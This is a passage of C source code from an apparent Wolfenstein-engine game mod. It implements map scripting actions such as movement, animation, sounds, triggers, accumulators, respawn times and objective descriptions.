VectorClear( ent->s.apos.trDelta );
ent->s.apos.trDuration = duration;
ent->s.apos.trTime = level.time;
ent->s.apos.trType = TR_LINEAR_STOP;
if (trType != TR_LINEAR_STOP) { // allow for acceleration/decceleration
ent->s.pos.trDuration = 1000.0 * dist / (speed / 2.0);
ent->s.pos.trType = trType;
}
}
} else {
// calculate the trajectory
ent->s.pos.trType = TR_LINEAR_STOP;
ent->s.pos.trTime = level.time;
VectorCopy( ent->r.currentOrigin, ent->s.pos.trBase );
dist = VectorNormalize( vec );
VectorScale( vec, speed, ent->s.pos.trDelta );
ent->s.pos.trDuration = 1000 * (dist / speed);
if (turntotarget) {
duration = ent->s.pos.trDuration;
VectorCopy( target->s.angles, angles );
for (i=0; i<3; i++) {
diff[i] = AngleDifference( angles[i], ent->s.angles[i] );
while (diff[i] > 180)
diff[i] -= 360;
while (diff[i] < -180)
diff[i] += 360;
}
VectorCopy( ent->s.angles, ent->s.apos.trBase );
if (duration)
VectorScale( diff, 1000.0/(float)duration, ent->s.apos.trDelta );
else
VectorClear( ent->s.apos.trDelta );
ent->s.apos.trDuration = duration;
ent->s.apos.trTime = level.time;
ent->s.apos.trType = TR_LINEAR_STOP;
}
}
if (!wait) {
// round the duration to the next 50ms
if (ent->s.pos.trDuration%50) {
float frac;
frac = (float)(((ent->s.pos.trDuration/50)*50 + 50) - ent->s.pos.trDuration) / (float)(ent->s.pos.trDuration);
if (frac < 1) {
VectorScale( ent->s.pos.trDelta, 1.0 / (1.0 + frac), ent->s.pos.trDelta );
ent->s.pos.trDuration = (ent->s.pos.trDuration/50)*50 + 50;
}
}
// set the goto flag, so we can keep processing the move until we reach the destination
ent->scriptStatus.scriptFlags |= SCFL_GOING_TO_MARKER;
return qtrue; // continue to next command
}
}
BG_EvaluateTrajectory( &ent->s.pos, level.time, ent->r.currentOrigin );
BG_EvaluateTrajectory( &ent->s.apos, level.time, ent->r.currentAngles );
script_linkentity(ent);
return qfalse;
}
/*
=================
G_ScriptAction_Wait
syntax: wait <duration>
=================
*/
qboolean G_ScriptAction_Wait( gentity_t *ent, char *params )
{
char *pString, *token;
int duration;
// get the duration
pString = params;
token = COM_ParseExt( &pString, qfalse );
if (!token[0]) {
G_Error( "G_Scripting: wait must have a duration\n" );
}
duration = atoi( token );
return (ent->scriptStatus.scriptStackChangeTime + duration < level.time);
}
/*
=================
G_ScriptAction_Trigger
syntax: trigger <aiName/scriptName> <trigger>
Calls the specified trigger for the given ai character or script entity
=================
*/
qboolean G_ScriptAction_Trigger( gentity_t *ent, char *params )
{
gentity_t *trent;
char *pString, name[MAX_QPATH], trigger[MAX_QPATH], *token;
int oldId;
// get the cast name
pString = params;
token = COM_ParseExt( &pString, qfalse );
Q_strncpyz( name, token, sizeof(name) );
if (!name[0])
{
G_Error( "G_Scripting: trigger must have a name and an identifier\n" );
}
token = COM_ParseExt( &pString, qfalse );
Q_strncpyz( trigger, token, sizeof(trigger) );
if (!trigger[0])
{
G_Error( "G_Scripting: trigger must have a name and an identifier\n" );
}
// trent = AICast_FindEntityForName( name );
trent = NULL;
if (trent)
{ // we are triggering an AI
//oldId = trent->scriptStatus.scriptId;
// AICast_ScriptEvent( AICast_GetCastState( trent->s.number ), "trigger", trigger );
return qtrue;
}
// look for an entity
trent = G_Find( &g_entities[MAX_CLIENTS], FOFS(scriptName), name );
if (trent) {
oldId = trent->scriptStatus.scriptId;
G_Script_ScriptEvent( trent, "trigger", trigger );
// if the script changed, return false so we don't muck with it's variables
return ((trent != ent) || (oldId == trent->scriptStatus.scriptId));
}
G_Error( "G_Scripting: trigger has unknown name: %s\n", name );
return qfalse; // shutup the compiler
}
/*
================
G_ScriptAction_PlaySound
syntax: playsound <soundname OR scriptname> [LOOPING]
Currently only allows playing on the VOICE channel, unless you use a sound script.
Use the optional LOOPING paramater to attach the sound to the entities looping channel.
================
*/
qboolean G_ScriptAction_PlaySound( gentity_t *ent, char *params )
{
char *pString, *token;
char sound[MAX_QPATH];
if (!params)
G_Error("G_Scripting: syntax error\n\nplaysound <soundname OR scriptname>\n");
pString = params;
token = COM_ParseExt( &pString, qfalse );
Q_strncpyz(sound, token, sizeof(sound));
token = COM_ParseExt( &pString, qfalse );
if (!token[0] || Q_strcasecmp(token, "looping")) {
G_AddEvent( ent, EV_GENERAL_SOUND, G_SoundIndex( sound ) );
} else { // looping channel
ent->s.loopSound = G_SoundIndex( sound );
}
return qtrue;
}
/*
=================
G_ScriptAction_PlayAnim
syntax: playanim <startframe> <endframe> [looping <FOREVER/duration>] [rate <FPS>]
NOTE: all source animations must be at 20fps
=================
*/
qboolean G_ScriptAction_PlayAnim( gentity_t *ent, char *params )
{
char *pString, *token, tokens[2][MAX_QPATH];
int i;
// TTimo might be used uninitialized
int endtime = 0;
qboolean looping=qfalse, forever=qfalse;
int startframe, endframe, idealframe;
int rate = 20;
if ((ent->scriptStatus.scriptFlags & SCFL_ANIMATING) && (ent->scriptStatus.scriptStackChangeTime == level.time)) {
// this is a new call, so cancel the previous animation
ent->scriptStatus.scriptFlags &= ~SCFL_ANIMATING;
}
pString = params;
for (i=0; i<2; i++) {
token = COM_ParseExt( &pString, qfalse );
if (!token || !token[0]) {
G_Printf("G_Scripting: syntax error\n\nplayanim <startframe> <endframe> [LOOPING <duration>]\n");
return qtrue;
} else {
Q_strncpyz( tokens[i], token, sizeof(tokens[i]) );
}
}
startframe = atoi(tokens[0]);
endframe = atoi(tokens[1]);
// check for optional parameters
token = COM_ParseExt( &pString, qfalse );
if (token[0]) {
if (!Q_strcasecmp(token, "looping")) {
looping = qtrue;
token = COM_ParseExt( &pString, qfalse );
if (!token || !token[0]) {
G_Printf("G_Scripting: syntax error\n\nplayanim <startframe> <endframe> [LOOPING <duration>]\n");
return qtrue;
}
if (!Q_strcasecmp(token, "untilreachmarker")) {
if (level.time < ent->s.pos.trTime + ent->s.pos.trDuration)
endtime = level.time + 100;
else
endtime = 0;
} else if (!Q_strcasecmp(token, "forever")) {
ent->scriptStatus.animatingParams = params;
ent->scriptStatus.scriptFlags |= SCFL_ANIMATING;
endtime = level.time + 100; // we don't care when it ends, since we are going forever!
forever = qtrue;
} else {
endtime = ent->scriptStatus.scriptStackChangeTime + atoi(token);
}
token = COM_ParseExt( &pString, qfalse );
}
if (token[0] && !Q_strcasecmp(token, "rate")) {
token = COM_ParseExt( &pString, qfalse );
if (!token[0])
G_Error("G_Scripting: playanim has RATE parameter without an actual rate specified");
rate = atoi(token);
}
if (!looping) {
endtime = ent->scriptStatus.scriptStackChangeTime + ((endframe - startframe) * (1000/20));
}
}
idealframe = startframe + (int)floor((float)(level.time - ent->scriptStatus.scriptStackChangeTime) / (1000.0/(float)rate));
if (looping) {
ent->s.frame = startframe + (idealframe - startframe)%(endframe - startframe);
} else {
if (idealframe > endframe)
ent->s.frame = endframe;
else
ent->s.frame = idealframe;
}
if (forever) {
return qtrue; // continue to the next command
}
return (endtime <= level.time);
};
/*
=================
G_ScriptAction_AlertEntity
syntax: alertentity <targetname>
Arnout: modified to target multiple entities with the same targetname
Martin - dumped from 1.4 to maybe fix the dam/tram bugs...3/20/08
=================
*/
qboolean G_ScriptAction_AlertEntity( gentity_t *ent, char *params )
{
gentity_t *alertent = NULL;
qboolean foundalertent = qfalse;
if (!params || !params[0])
{
G_Error( "G_Scripting: alertentity without targetname\n" );
}
// find this targetname
while(1) {
alertent = G_Find( alertent, FOFS(targetname), params );
if (!alertent )
{
if( !foundalertent )
G_Error( "G_Scripting: alertentity cannot find targetname \"%s\"\n", params );
else
break;
}
foundalertent = qtrue;
if (alertent->client) {
// call this entity's AlertEntity function
if (!alertent->AIScript_AlertEntity)
{
G_Error( "G_Scripting: alertentity \"%s\" (classname = %s) doesn't have an \"AIScript_AlertEntity\" function\n", params, alertent->classname );
}
alertent->AIScript_AlertEntity (alertent);
} else {
if (!alertent->use)
{
G_Error( "G_Scripting: alertentity \"%s\" (classname = %s) doesn't have a \"use\" function\n", params, alertent->classname );
}
alertent->use (alertent, NULL, NULL);
}
}
return qtrue;
} // ********** END MARTIN 1.4 DUMP
/*
=================
G_ScriptAction_AlertEntity
syntax: alertentity <targetname>
=================
*//*
qboolean G_ScriptAction_AlertEntity( gentity_t *ent, char *params )
{
gentity_t *alertent;
if (!params || !params[0])
{
G_Error( "G_Scripting: alertentity without targetname\n" );
}
// find this targetname
alertent = G_Find( NULL, FOFS(targetname), params );
if (!alertent)
{
G_Error( "G_Scripting: alertentity cannot find targetname \"%s\"\n", params );
}
if (alertent->client) {
// call this entity's AlertEntity function
if (!alertent->AIScript_AlertEntity)
{
G_Error( "G_Scripting: alertentity \"%s\" (classname = %s) doesn't have an \"AIScript_AlertEntity\" function\n", params, alertent->classname );
}
alertent->AIScript_AlertEntity (alertent);
} else {
if (!alertent->use)
{
G_Error( "G_Scripting: alertentity \"%s\" (classname = %s) doesn't have a \"use\" function\n", params, alertent->classname );
}
alertent->use (alertent, NULL, NULL);
}
return qtrue;
}
*/
/*
=================
G_ScriptAction_Accum
syntax: accum <buffer_index> <command> <paramater>
Commands:
accum <n> inc <m>
accum <n> abort_if_less_than <m>
accum <n> abort_if_greater_than <m>
accum <n> abort_if_not_equal <m>
accum <n> abort_if_equal <m>
accum <n> set <m>
accum <n> random <m>
accum <n> bitset <m>
accum <n> bitreset <m>
accum <n> abort_if_bitset <m>
accum <n> abort_if_not_bitset <m>
=================
*/
qboolean G_ScriptAction_Accum( gentity_t *ent, char *params )
{
char *pString, *token, lastToken[MAX_QPATH];
int bufferIndex;
pString = params;
token = COM_ParseExt( &pString, qfalse );
if (!token[0]) {
G_Error( "G_Scripting: accum without a buffer index\n" );
}
bufferIndex = atoi(token);
if (bufferIndex >= G_MAX_SCRIPT_ACCUM_BUFFERS) {
G_Error( "G_Scripting: accum buffer is outside range (0 - %i)\n", G_MAX_SCRIPT_ACCUM_BUFFERS );
}
token = COM_ParseExt( &pString, qfalse );
if (!token[0]) {
G_Error( "G_Scripting: accum without a command\n" );
}
Q_strncpyz( lastToken, token, sizeof(lastToken) );
token = COM_ParseExt( &pString, qfalse );
if (!Q_stricmp(lastToken, "inc")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
ent->scriptAccumBuffer[bufferIndex] += atoi(token);
} else if (!Q_stricmp(lastToken, "abort_if_less_than")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
if (ent->scriptAccumBuffer[bufferIndex] < atoi(token)) {
// abort the current script
ent->scriptStatus.scriptStackHead = ent->scriptEvents[ent->scriptStatus.scriptEventIndex].stack.numItems;
}
} else if (!Q_stricmp(lastToken, "abort_if_greater_than")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
if (ent->scriptAccumBuffer[bufferIndex] > atoi(token)) {
// abort the current script
ent->scriptStatus.scriptStackHead = ent->scriptEvents[ent->scriptStatus.scriptEventIndex].stack.numItems;
}
} else if (!Q_stricmp(lastToken, "abort_if_not_equal")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
if (ent->scriptAccumBuffer[bufferIndex] != atoi(token)) {
// abort the current script
ent->scriptStatus.scriptStackHead = ent->scriptEvents[ent->scriptStatus.scriptEventIndex].stack.numItems;
}
} else if (!Q_stricmp(lastToken, "abort_if_equal")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
if (ent->scriptAccumBuffer[bufferIndex] == atoi(token)) {
// abort the current script
ent->scriptStatus.scriptStackHead = ent->scriptEvents[ent->scriptStatus.scriptEventIndex].stack.numItems;
}
} else if (!Q_stricmp(lastToken, "bitset")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
ent->scriptAccumBuffer[bufferIndex] |= (1<<atoi(token));
} else if (!Q_stricmp(lastToken, "bitreset")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
ent->scriptAccumBuffer[bufferIndex] &= ~(1<<atoi(token));
} else if (!Q_stricmp(lastToken, "abort_if_bitset")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
if (ent->scriptAccumBuffer[bufferIndex] & (1<<atoi(token))) {
// abort the current script
ent->scriptStatus.scriptStackHead = ent->scriptEvents[ent->scriptStatus.scriptEventIndex].stack.numItems;
}
} else if (!Q_stricmp(lastToken, "abort_if_not_bitset")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
if (!(ent->scriptAccumBuffer[bufferIndex] & (1<<atoi(token)))) {
// abort the current script
ent->scriptStatus.scriptStackHead = ent->scriptEvents[ent->scriptStatus.scriptEventIndex].stack.numItems;
}
} else if (!Q_stricmp(lastToken, "set")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
ent->scriptAccumBuffer[bufferIndex] = atoi(token);
} else if (!Q_stricmp(lastToken, "random")) {
if (!token[0]) {
G_Error( "Scripting: accum %s requires a parameter\n", lastToken );
}
ent->scriptAccumBuffer[bufferIndex] = rand() % atoi(token);
} else {
G_Error( "Scripting: accum %s: unknown command\n", params );
}
return qtrue;
}
/*
=================
G_ScriptAction_MissionFailed
syntax: missionfailed
=================
*/
qboolean G_ScriptAction_MissionFailed( gentity_t *ent, char *params )
{
// todo!! (just kill the player for now)
gentity_t *player;
// player = AICast_FindEntityForName( "player" );
player = NULL;
if (player) {
G_Damage( player, player, player, vec3_origin, vec3_origin, 99999, DAMAGE_NO_PROTECTION, MOD_SUICIDE );
}
G_Printf( "Mission Failed...\n" ); // todo
return qtrue;
}
/*
=================
G_ScriptAction_MissionSuccess
syntax: missionsuccess <mission_level>
=================
*/
qboolean G_ScriptAction_MissionSuccess( gentity_t *ent, char *params )
{
gentity_t *player;
if (!params || !params[0]) {
G_Error( "G_Scripting: missionsuccess requires a mission_level identifier\n" );
}
// player = AICast_FindEntityForName( "player" );
// double check that they are still alive
player = NULL;
if (player->health <= 0)
return qfalse; // hold the script here
player->missionLevel = atoi(params);
G_Printf( "Mission Success!!!!\n" ); // todo
// G_SaveGame( NULL );
return qtrue;
}
/*
=================
G_ScriptAction_Print
syntax: print <text>
Mostly for debugging purposes
=================
*/
qboolean G_ScriptAction_Print( gentity_t *ent, char *params )
{
if (!params || !params[0]) {
G_Error( "G_Scripting: print requires some text\n" );
}
G_Printf("(G_Script) %s-> %s\n", ent->scriptName, params);
return qtrue;
}
/*
=================
G_ScriptAction_FaceAngles
syntax: faceangles <pitch> <yaw> <roll> <duration/GOTOTIME> [ACCEL/DECCEL]
The entity will face the given angles, taking <duration> to get their. If the
GOTOTIME is given instead of a timed duration, the duration calculated from the
last gotomarker command will be used instead.
=================
*/
qboolean G_ScriptAction_FaceAngles( gentity_t *ent, char *params )
{
char *pString, *token;
int duration, i;
vec3_t diff;
vec3_t angles;
int trType = TR_LINEAR_STOP;
if (!params || !params[0]) {
G_Error( "G_Scripting: syntax: faceangles <pitch> <yaw> <roll> <duration/GOTOTIME>\n" );
}
if (ent->scriptStatus.scriptStackChangeTime == level.time) {
pString = params;
for (i=0; i<3; i++) {
token = COM_Parse(&pString);
if (!token || !token[0]) {
G_Error( "G_Scripting: syntax: faceangles <pitch> <yaw> <roll> <duration/GOTOTIME>\n" );
}
angles[i] = atoi(token);
}
token = COM_Parse(&pString);
if (!token || !token[0]) {
G_Error( "G_Scripting: faceangles requires a <pitch> <yaw> <roll> <duration/GOTOTIME>\n" );
}
if (!Q_strcasecmp(token, "gototime")) {
duration = ent->s.pos.trDuration;
} else {
duration = atoi(token);
}
token = COM_Parse(&pString);
if (token && token[0]) {
if (!Q_strcasecmp(token, "accel"))
trType = TR_ACCELERATE;
if (!Q_strcasecmp(token, "deccel"))
trType = TR_DECCELERATE;
}
for (i=0; i<3; i++) {
diff[i] = AngleDifference( angles[i], ent->s.angles[i] );
while (diff[i] > 180)
diff[i] -= 360;
while (diff[i] < -180)
diff[i] += 360;
}
VectorCopy( ent->s.angles, ent->s.apos.trBase );
if (duration)
VectorScale( diff, 1000.0/(float)duration, ent->s.apos.trDelta );
else
VectorClear( ent->s.apos.trDelta );
ent->s.apos.trDuration = duration;
ent->s.apos.trTime = level.time;
ent->s.apos.trType = TR_LINEAR_STOP;
if (trType != TR_LINEAR_STOP) { // accel / deccel logic
// calc the speed from duration and start/end delta
for (i=0; i<3; i++) {
ent->s.apos.trDelta[i] = 2.0 * 1000.0 * diff[i] / (float)duration;
}
ent->s.apos.trType = trType;
}
#ifdef OMNIBOT
{
//hack: only trigger on slow moving shit
if ( duration && duration > 3500 )
{
const char *pName = _GetEntityName(ent);
Bot_Util_SendTrigger(ent, NULL, va("%s_faceangle", pName ? pName : "<unknown>"),
va("%.2f %.2f %.2f", ent->s.apos.trDelta[0], ent->s.apos.trDelta[1], ent->s.apos.trDelta[2]));
}
}
#endif // OMNIBOT
} else if (ent->s.apos.trTime + ent->s.apos.trDuration <= level.time) {
// finished turning
BG_EvaluateTrajectory( &ent->s.apos, ent->s.apos.trTime + ent->s.apos.trDuration, ent->s.angles );
VectorCopy( ent->s.angles, ent->s.apos.trBase );
VectorCopy( ent->s.angles, ent->r.currentAngles );
ent->s.apos.trTime = level.time;
ent->s.apos.trDuration = 0;
ent->s.apos.trType = TR_STATIONARY;
VectorClear( ent->s.apos.trDelta );
script_linkentity( ent );
return qtrue;
}
BG_EvaluateTrajectory( &ent->s.apos, level.time, ent->r.currentAngles );
script_linkentity( ent );
return qfalse;
}
/*
===================
G_ScriptAction_ResetScript
causes any currently running scripts to abort, in favour of the current script
===================
*/
qboolean G_ScriptAction_ResetScript( gentity_t *ent, char *params )
{
if (level.time == ent->scriptStatus.scriptStackChangeTime) {
return qfalse;
}
return qtrue;
}
/*
===================
G_ScriptAction_TagConnect
syntax: attachtotag <targetname/scriptname> <tagname>
connect this entity onto the tag of another entity
===================
*/
qboolean G_ScriptAction_TagConnect( gentity_t *ent, char *params )
{
char *pString, *token;
gentity_t *parent;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_TagConnect: syntax: attachtotag <targetname> <tagname>\n" );
}
parent = G_Find( NULL, FOFS(targetname), token );
if (!parent) {
parent = G_Find( NULL, FOFS(scriptName), token );
if (!parent) {
G_Error( "G_ScriptAction_TagConnect: unable to find entity with targetname \"%s\"", token );
}
}
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_TagConnect: syntax: attachtotag <targetname> <tagname>\n" );
}
ent->tagParent = parent;
ent->tagName = G_Alloc(strlen(token)+1);
Q_strncpyz( ent->tagName, token, strlen(token)+1 );
G_ProcessTagConnect( ent );
// clear out the angles so it always starts out facing the tag direction
VectorClear( ent->s.angles );
VectorCopy( ent->s.angles, ent->s.apos.trBase );
ent->s.apos.trTime = level.time;
ent->s.apos.trDuration = 0;
ent->s.apos.trType = TR_STATIONARY;
VectorClear( ent->s.apos.trDelta );
return qtrue;
}
/*
====================
G_ScriptAction_Halt
syntax: halt
Stop moving.
====================
*/
qboolean G_ScriptAction_Halt( gentity_t *ent, char *params )
{
if (level.time == ent->scriptStatus.scriptStackChangeTime) {
ent->scriptStatus.scriptFlags &= ~SCFL_GOING_TO_MARKER;
// stop the angles
BG_EvaluateTrajectory( &ent->s.apos, level.time, ent->s.angles );
VectorCopy( ent->s.angles, ent->s.apos.trBase );
VectorCopy( ent->s.angles, ent->r.currentAngles );
ent->s.apos.trTime = level.time;
ent->s.apos.trDuration = 0;
ent->s.apos.trType = TR_STATIONARY;
VectorClear( ent->s.apos.trDelta );
// stop moving
BG_EvaluateTrajectory( &ent->s.pos, level.time, ent->s.origin );
VectorCopy( ent->s.origin, ent->s.pos.trBase );
VectorCopy( ent->s.origin, ent->r.currentOrigin );
ent->s.pos.trTime = level.time;
ent->s.pos.trDuration = 0;
ent->s.pos.trType = TR_STATIONARY;
VectorClear( ent->s.pos.trDelta );
script_linkentity( ent );
return qfalse; // kill any currently running script
} else {
return qtrue;
}
}
/*
===================
G_ScriptAction_StopSound
syntax: stopsound
Stops any looping sounds for this entity.
===================
*/
qboolean G_ScriptAction_StopSound( gentity_t *ent, char *params )
{
ent->s.loopSound = 0;
return qtrue;
}
/*
===================
G_ScriptAction_StartCam
syntax: startcam <camera filename>
===================
*/
qboolean G_ScriptAction_StartCam( gentity_t *ent, char *params )
{
char *pString, *token;
gentity_t *player;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_Cam: filename parameter required\n" );
}
// turn off noclient flag
ent->r.svFlags &= ~SVF_NOCLIENT;
// issue a start camera command to the client
// player = AICast_FindEntityForName("player");
player = NULL;
if (!player) {
G_Error( "player not found, perhaps you should give them more time to spawn in" );
}
trap_SendServerCommand( player->s.number, va("startCam %s", token) );
return qtrue;
}
/*
=================
G_ScriptAction_EntityScriptName
=================
*/
qboolean G_ScriptAction_EntityScriptName( gentity_t *ent, char *params) {
trap_Cvar_Set( "g_scriptName", params );
return qtrue;
}
/*
=================
G_ScriptAction_AIScriptName
=================
*/
qboolean G_ScriptAction_AIScriptName( gentity_t *ent, char *params) {
trap_Cvar_Set( "ai_scriptName", params );
return qtrue;
}
// -----------------------------------------------------------------------
// DHM - Nerve :: Multiplayer scripting commands
/*
===================
G_ScriptAction_MapDescription
syntax: wm_mapdescription <"long description of map in quotes">
===================
*/
qboolean G_ScriptAction_MapDescription( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
pString = params;
token = COM_Parse(&pString);
trap_GetConfigstring( CS_MULTI_MAPDESC, cs, sizeof(cs) );
if (g_goldrush.integer && !g_instaGib.integer)
Q_strncpyz ( token, "^3Goldrush!\n^5-^3Steal the enemy gold!\n^5-^3Touch flags to score!\n^5-^3Gold weighs you down!\n^5-^3The more gold you have, the more points you get!", 1000 );
if (g_goldrush.integer && g_instaGib.integer)
Q_strncpyz ( token, "^3InstaGib Goldrush!\n^5-^3Steal the enemy gold!\n^5-^3One shot kills!\n^5-^3Touch flags to score!\n^5-^3Gold weighs you down!\n^5-^3The more gold you have, the more points you get!", 1000 );
if (g_deathmatch.integer == 2)
Q_strncpyz ( token, "^3Free for All!\n^5-^3Kill Everyone!\n^5-^3No Objectives!", 1000 );
if (g_deathmatch.integer == 1)
Q_strncpyz ( token, "^3Team Deathmatch!\n^5-^3Eliminate the other team!\n^5-^3No Objectives!", 1000 );
if (g_SniperMode.integer && g_fraglimit.integer)
Q_strncpyz ( token, va("^3Snipers Mode!\n^5-^3Use your sniper rifle to kill the other team!\n^5-^3First team to ^5%i ^3kills wins!\n^5-^3Use smoke can and binoculars for cover!", g_fraglimit.integer), 1000 );
else if (g_SniperMode.integer && !g_fraglimit.integer)
Q_strncpyz ( token, va("^3Snipers Mode!\n^5-^3Use your sniper rifle to kill the other team!\n^5-^3Use smoke can and binoculars for cover!"), 1000 );
if ( Q_stricmp( cs, token ) ) {// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
trap_SetConfigstring( CS_MULTI_MAPDESC, token );
}
return qtrue;
}
/*
===================
G_ScriptAction_OverviewImage
syntax: wm_mapdescription <shadername>
===================
*/
qboolean G_ScriptAction_OverviewImage( gentity_t *ent, char *params ) // NERVE - SMF
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_OverviewImage: shader name required\n" );
}
trap_GetConfigstring( CS_MULTI_INFO, cs, sizeof(cs) );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "overviewimage" ), token ) ) {
Info_SetValueForKey( cs, "overviewimage", token );
trap_SetConfigstring( CS_MULTI_INFO, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_AxisRespawntime
syntax: wm_axis_respawntime <seconds>
===================
*/
qboolean G_ScriptAction_AxisRespawntime( gentity_t *ent, char *params )
{
char *pString, *token;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_AxisRespawntime: time parameter required\n" );
}
trap_Cvar_Set( "g_RedDefaultSpawnTime", va( "%s000", token ) ); // Set the default times so we can get them later ;)
if ( g_userAxisRespawnTime.integer )
trap_Cvar_Set( "g_redlimbotime", va( "%i", g_userAxisRespawnTime.integer * 1000 ) );
else
trap_Cvar_Set( "g_redlimbotime", va( "%s000", token ) );
return qtrue;
}
/*
===================
G_ScriptAction_AlliedRespawntime
syntax: wm_allied_respawntime <seconds>
===================
*/
qboolean G_ScriptAction_AlliedRespawntime( gentity_t *ent, char *params )
{
char *pString, *token;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_AlliedRespawntime: time parameter required\n" );
}
trap_Cvar_Set( "g_BlueDefaultSpawnTime", va( "%s000", token ) ); // Set the default times so we can get them later ;)
if ( g_userAlliedRespawnTime.integer )
trap_Cvar_Set( "g_bluelimbotime", va( "%i", g_userAlliedRespawnTime.integer * 1000 ) );
else
trap_Cvar_Set( "g_bluelimbotime", va( "%s000", token ) );
return qtrue;
}
/*
===================
G_ScriptAction_NumberofObjectives
syntax: wm_number_of_objectives <number>
===================
*/
qboolean G_ScriptAction_NumberofObjectives( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_NumberofObjectives: number parameter required\n" );
}
num = atoi( token );
if ( num < 1 || num > MAX_OBJECTIVES ) {
G_Error( "G_ScriptAction_NumberofObjectives: Invalid number of objectives\n" );
}
trap_GetConfigstring( CS_MULTI_INFO, cs, sizeof(cs) );
if(g_deathmatch.integer || g_goldrush.integer||g_SniperMode.integer)
Q_strncpyz ( token, "0", 1000 );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "numobjectives" ), token ) ) {
Info_SetValueForKey( cs, "numobjectives", token );
trap_SetConfigstring( CS_MULTI_INFO, cs );
}
// trap_SetConfigstring( CS_MULTI_INFO, "0" );
return qtrue;
}
/*
===================
G_ScriptAction_ObjectiveAxisDesc
syntax: wm_objective_axis_desc <objective_number "Description in quotes">
===================
*/
qboolean G_ScriptAction_ObjectiveAxisDesc( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num, cs_obj = CS_MULTI_OBJECTIVE1;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveAxisDesc: number parameter required\n" );
}
num = atoi( token );
if ( num < 1 || num > MAX_OBJECTIVES ) {
G_Error( "G_ScriptAction_ObjectiveAxisDesc: Invalid objective number\n" );
}
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveAxisDesc: description parameter required\n" );
}
// Move to correct objective config string
cs_obj += (num - 1);
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "axis_desc" ), token ) ) {
Info_SetValueForKey( cs, "axis_desc", token );
trap_SetConfigstring( cs_obj, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_ObjectiveShortAxisDesc
syntax: wm_objective_short_axis_desc <objective_number "Description in quotes">
NERVE - SMF - this is the short, one-line description shown in scoreboard
===================
*/
qboolean G_ScriptAction_ObjectiveShortAxisDesc( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num, cs_obj = CS_MULTI_OBJECTIVE1;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveShortAxisDesc: number parameter required\n" );
}
num = atoi( token );
if ( num < 1 || num > MAX_OBJECTIVES ) {
G_Error( "G_ScriptAction_ObjectiveShortAxisDesc: Invalid objective number\n" );
}
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveShortAxisDesc: description parameter required\n" );
}
// Move to correct objective config string
cs_obj += (num - 1);
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "short_axis_desc" ), token ) ) {
Info_SetValueForKey( cs, "short_axis_desc", token );
trap_SetConfigstring( cs_obj, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_ObjectiveAlliedDesc
syntax: wm_objective_allied_desc <objective_number "Description in quotes">
===================
*/
qboolean G_ScriptAction_ObjectiveAlliedDesc( gentity_t *ent, char *params )
{
char *pString, *token;
char cs[MAX_STRING_CHARS];
int num, cs_obj = CS_MULTI_OBJECTIVE1;
pString = params;
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveAlliedDesc: number parameter required\n" );
}
num = atoi( token );
if ( num < 1 || num > MAX_OBJECTIVES ) {
G_Error( "G_ScriptAction_ObjectiveAlliedDesc: Invalid objective number\n" );
}
token = COM_Parse(&pString);
if (!token[0]) {
G_Error( "G_ScriptAction_ObjectiveAlliedDesc: description parameter required\n" );
}
// Move to correct objective config string
cs_obj += (num - 1);
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
// NERVE - SMF - compare before setting, so we don't spam the clients during map_restart
if ( Q_stricmp( Info_ValueForKey( cs, "allied_desc" ), token ) ) {
Info_SetValueForKey( cs, "allied_desc", token );
trap_SetConfigstring( cs_obj, cs );
}
return qtrue;
}
/*
===================
G_ScriptAction_ObjectiveShortAlliedDesc
syntax: wm_objective_short_allied_desc <objective_number "Description in quotes">
NERVE - SMF - this is the short, one-line description shown in scoreboard
===================
